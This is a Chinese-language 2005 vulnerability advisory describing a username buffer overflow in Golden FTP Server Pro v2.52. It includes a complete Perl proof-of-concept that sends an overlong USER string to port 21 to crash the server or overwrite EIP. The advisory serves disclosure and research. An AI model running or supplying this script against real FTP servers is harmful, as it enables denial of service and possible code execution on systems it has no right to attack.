KMiNT21 Software Golden FTP Server Pro v2.52缓冲区溢出漏洞
发布日期:2005-04-28
更新日期:2005-04-28
受影响系统:KMiNT21 Golden FTP Server Pro v2.52
描述:
Golden FTP Server是一款非常易用的Windows平台FTP服务器。
如果向FTP服务器发送超长的用户名参数的话,就可能导致在完成USER/PASS登陆序列后覆盖EIP寄存器,这样管理员在浏览服务器统计时FTP就会崩溃或执行代码,具体取决于用户名的值。
<*来源:Reed Arvin (
reedarvin@gmail.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=111464565108186&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#===== Start GoldenFTPServer_Overflow.pl =====
#
# Usage: GoldenFTPServer_Overflow.pl <ip>
# GoldenFTPServer_Overflow.pl 127.0.0.1
#
# KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)
#
# Download:
#
##############################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "21",
Proto => "TCP"))
{
print "Attempting to kill Golden FTP Server at $ARGV[0]:21...";
sleep(1);
print $socket "USER " . "A" x 332 . "BBBB\r\n";
sleep(1);
print $socket "PASS " . "\r\n";
close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:21\n";
}
#===== End GoldenFTPServer_Overflow.pl =====
建议:
厂商补丁:
KMiNT21
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www[dot]goldenftpserver[dot]com/浏览次数:4224
严重程度:0(网友投票)